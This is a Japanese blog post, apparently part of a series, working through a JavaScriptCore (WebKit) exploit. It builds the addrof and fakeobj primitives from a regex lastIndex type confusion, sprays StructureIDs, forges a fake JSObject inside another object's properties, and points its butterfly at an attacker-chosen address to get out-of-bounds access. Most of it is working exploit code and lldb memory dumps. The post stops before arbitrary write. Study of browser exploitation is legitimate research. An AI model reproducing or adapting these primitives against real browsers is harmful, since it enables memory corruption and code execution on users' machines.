前回の記事 では addrof という関数を作り、メモリリークを行った。
この記事 では addrof の反対の動作をするものとして fakeobj という attack primitive が紹介されている。
attack primitive とは exploit primitive とも呼ばれ、攻撃を成功させる過程のうちの1つのテクニックみたいなイメージ。

addrofobject を配列に追加し、その object へのポインタを double の値として読み取るというのが前回行った内容である。
それに対して fakeobj は配列に double を追加して object を作成するテクニック。
ちょっと「?」となるが、要は次のようなイメージになる。

>>> o = {}
>>> o.x = 1
>>> addr(o)
# 2.2213025115e-314
>>> fake = fakeobj(2.2213025115e-314)
>>> fake.x
# 1
>>> fake.x = 2
# 2

上記では単純に o を取得しているだけだが、もし Object のプロパティ値に JSObject として有効な値が入っており、それを fakeobj() で取得できたらどうなるだろうか。
メモリ上だと次のようなレイアウトになり、このときに 0x0108ab00c0 + 0x10 を参照するようなイメージ。

(lldb) x/6gx 0x108ab00c0
0x108ab00c0: 0x1082009000000129 0x0000000000000000
0x108ab00d0: 0x1082009000000299 0x0000000000000000 ← JSObject として有効な値
0x108ab00e0: 0xffff000000000003 0x0000000000000000

そしてこれを活用して Memory Corrupution を引き起こしたり、任意コード実行へと繋げることができる。


fakeobj を書くと次のようになる。

上記をコードにするとこう。

function addrofInternal(val) {
  var array = [13.37];
  var reg = /abc/y;

  function getarray() {
    return array;
  }

  var AddrGetter = function(array) {
    reg[Symbol.match]();
    return array[0];
  }

  for (var i = 0; i < 100000; ++i)
    AddrGetter(array);

  regexLastIndex = {};
  regexLastIndex.toString = function() {
    array[0] = val;
    return "0";
  };
  reg.lastIndex = regexLastIndex;

  return AddrGetter(array);
}

function fakeobj(val) {
  var array = [13.37];
  var reg = /acg/y;

  var AddrSetter = function(array) {
    reg[Symbol.match]();
    array[0] = val;
  }

  for(var i=0; i<10000; ++i) {
    AddrSetter(array);
  }

  regexLastIndex = {};
  regexLastIndex.toString = function() {
    array[0] = {};
    return "0";
  };
  reg.lastIndex = regexLastIndex;

  AddrSetter(array);
  return array[0];
}

このコードを動かすと次のように、元の object を取得できる。

❯ lldb ./WebKitBuild/Debug/bin/jsc
(lldb) target create "./WebKitBuild/Debug/bin/jsc"
run /tmpCurrent executable set to './WebKitBuild/Debug/bin/jsc' (x86_64).
(lldb) run -i /tmp/test.js
Process 96221 launched: 'WebKit/webkit/WebKitBuild/Debug/bin/jsc' (x86_64)

>>> fake = {}
[object Object]
>>> fake.a = 1
1
>>> fake.b = 2
2
>>> fake.c = 3
3
>>> describe(fake)
Object: 0x108ab00c0 with butterfly 0x0 (Structure 0x108a70460:[Object, {a:0, b:1, c:2}, NonArray, Proto:0x108ab4000, Leaf]), StructureID: 297

>>> addrof(fake)
2.193845078e-314
>>> a = fakeobj(addrof(fake))
[object Object]
>>> a.a
1
>>> a.b
2

ここで addrof で得られた値に 0x10 加算するとポインタがズレてプロパティの値を指すようになる。

(lldb) x/6gx 0x108ab00c0
0x108ab00c0: 0x0100160000000129 0x0000000000000000 ----+ <-- fake(addr)
                                                       |
0x108ab00d0: 0xffff000000000001 0xffff000000000002 <---+ <-- fake(addr + 0x10)
0x108ab00e0: 0xffff000000000003 0x0000000000000000

今の状態では StructureID と Butterfly Pointer が不正なため、有効な Object を作ることができない。
また、StructureID を JavaScript から知る方法も存在しない。
したがって目的のオブジェクトの StructureID を推測するしかないが、オブジェクト自体を大量に作って spray することで、適当に選んでも取得できるようにする。

>>> for (var i=0; i<0x1000; i++) {
    test = {}
    test.x = 1
    test['prop_' + i] = 2
}

>>> describe(test)
Object: 0x108e05540 with butterfly 0x0 (Structure 0x108e0ad80:[Object, {x:0, prop_4095:1}, NonArray, Proto:0x108ab4000, Leaf]), StructureID: 4395

StructureID が非常に大きい値になっている。その分適当に値を設定しても有効な StructureID を引くことができる。
例えば 0x0100160000002000 に定めてみる。

In [1]: import struct

In [2]: struct.unpack("d", struct.pack("Q", 0x0100160000002000))
Out[2]: (7.330283319479387e-304,)
>>> fake.a = 7.330283319479387e-304
7.330283319479387e-304
>>> describe(fake)
Object: 0x108ab00c0 with butterfly 0x0 (Structure 0x108a70460:[Object, {a:0, b:1, c:2}, NonArray, Proto:0x108ab4000, Leaf]), StructureID: 297
>>> Process 96221 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
    frame #0: 0x00007fff5bb0beee libsystem_kernel.dylib`read + 10
libsystem_kernel.dylib`read:
->  0x7fff5bb0beee <+10>: jae    0x7fff5bb0bef8            ; <+20>
    0x7fff5bb0bef0 <+12>: movq   %rax, %rdi
    0x7fff5bb0bef3 <+15>: jmp    0x7fff5bb0a41d            ; cerror
    0x7fff5bb0bef8 <+20>: retq
(lldb) x/6gx 0x108ab00c0
0x108ab00c0: 0x0100160000000129 0x0000000000000000
0x108ab00d0: 0x0101160000002000 0xffff000000000002
0x108ab00e0: 0xffff000000000003 0x0000000000000000

ただよく見ると 0x0100... であってほしいのに 0x0101... になっている。
実際には内部のエンコードで 0x1000000000000 が加算されているようなので、減算する。

In [3]: struct.unpack("d", struct.pack("Q", 0x0100160000002000 - 0x1000000000000))
Out[3]: (7.082855106406755e-304,)

この値を再度 fake.a にセットするとプロパティとして有効そうな目的の値にセットできた。

>>> fake.a = 7.082855106406755e-304
7.082855106406755e-304
>>> Process 96221 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
    frame #0: 0x00007fff5bb0beee libsystem_kernel.dylib`read + 10
libsystem_kernel.dylib`read:
->  0x7fff5bb0beee <+10>: jae    0x7fff5bb0bef8            ; <+20>
    0x7fff5bb0bef0 <+12>: movq   %rax, %rdi
    0x7fff5bb0bef3 <+15>: jmp    0x7fff5bb0a41d            ; cerror
    0x7fff5bb0bef8 <+20>: retq
(lldb) x/6gx 0x108ab00c0
0x108ab00c0: 0x0100160000000129 0x0000000000000000
0x108ab00d0: 0x0100160000002000 0xffff000000000002
0x108ab00e0: 0xffff000000000003 0x0000000000000000

次は butterfly address を 0x0 にしたいが、これは単純にプロパティを消せばいい。

>>> delete fake.b
true
>>> Process 96221 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
    frame #0: 0x00007fff5bb0beee libsystem_kernel.dylib`read + 10
libsystem_kernel.dylib`read:
->  0x7fff5bb0beee <+10>: jae    0x7fff5bb0bef8            ; <+20>
    0x7fff5bb0bef0 <+12>: movq   %rax, %rdi
    0x7fff5bb0bef3 <+15>: jmp    0x7fff5bb0a41d            ; cerror
    0x7fff5bb0bef8 <+20>: retq
(lldb) x/6gx 0x108ab00c0
0x108ab00c0: 0x010016000000112c 0x0000000000000000
0x108ab00d0: 0x0100160000002000 0x0000000000000000
0x108ab00e0: 0xffff000000000003 0x0000000000000000

これで fakeobj(addrof(fake) + 0x10) すると 0x108ab00d0 のオブジェクトが取得できる。

>>> addrof(fake)
2.198593642e-314

In [6]: addr = 2.198593642e-314

In [6]: hex(struct.unpack("Q", struct.pack("d", addr))[0])
Out[6]: '0x1093da880'

In [7]: struct.unpack("d", struct.pack("Q", 0x1093da880 + 0x10))
Out[7]: (2.1985936497e-314,)
>>> o = fakeobj(2.1985936497e-314)
[object Object]
>>> describe(o)
Object: 0x1093da890 with butterfly 0x0 (Structure 0x1093e5180:[Object, {x:0, prop_7897:1}, NonArray, Proto:0x1082b4000, Leaf]), StructureID: 8192
>>> o.x
3
>>> fake.c = "test"
test
>>> o.x
test

Memory Corrupution

上記の例では StructureID や butterfly が有効な値であるが、もし不正な値だった場合は OOB となる。

var buf = new ArrayBuffer(0x10);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);

var fake = {
  cell_header: 1,
  butterfly: 2,
};

f64[0] = addrof(fake);
u32[0] += 0x10;
var hax = fakeobj(f64[0]);

この場合、StructureID は不正なのでオブジェクト自体にアクセスができない。

>>> hax
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xbbadbeef)
    frame #0: 0x0000000101998bae JavaScriptCore`::WTFCrash() at Assertions.cpp:255:35
   252  #if ASAN_ENABLED
   253      __builtin_trap();
   254  #else
-> 255      *(int *)(uintptr_t)0xbbadbeef = 0;
   256      // More reliable, but doesn't say BBADBEEF.
   257  #if COMPILER(GCC_COMPATIBLE)
   258      __builtin_trap();

もし butterfly のみが不正な値の場合は、特定のメモリアドレスへ OOB することができる。

var buf = new ArrayBuffer(0x10);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);

u32[0] = 0x200;
u32[1] = 0x01082007 - 0x10000; // ArrayWithDouble の flag
var flags_double = f64[0];

u32[0] = 0x41414141 // butterfly
u32[1] = 0x42424242 - 0x10000; // butterfly

var outer = {
  // このフィールドは hax object の JSCell と butterfly になる
  cell_header: flags_double,
  butterfly: f64[0],
};

f64[0] = addrof(outer);
u32[0] += 0x10;
// outer から + 0x10 シフトして outer のコメントの内容で fake object を作る
var hax = fakeobj(f64[0]);

上記では hax の butterfly が 0x4242424241414141 となるので、 hax.length を実行すると butterfly へアクセスして 0x4242424241414141 への OOB でクラッシュする。

>>> describe(hax)
Object: 0x1092c83b0 with butterfly 0x4242424241414141 (Structure 0x1092463e0:[Array, {prop:100, p189:101}, ArrayWithDouble, Proto:0x1092c80a0, Leaf]), StructureID: 512
>>> hax.length
Process 3724 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
    frame #0: 0x00000001000354ec jsc`JSC::IndexingHeader::publicLength(this=0x4242424241414139) const at IndexingHeader.h:64:54
   61           u.lengths.vectorLength = length;
   62       }
   63
-> 64       uint32_t publicLength() const { return u.lengths.publicLength; }
   65       void setPublicLength(uint32_t auxWord) { u.lengths.publicLength = auxWord; }
   66
   67       ArrayBuffer* arrayBuffer() { return u.typedArray.buffer; }

そしてこれを利用して任意のアドレスを書き換えたりできるのだが、それはまた次回で…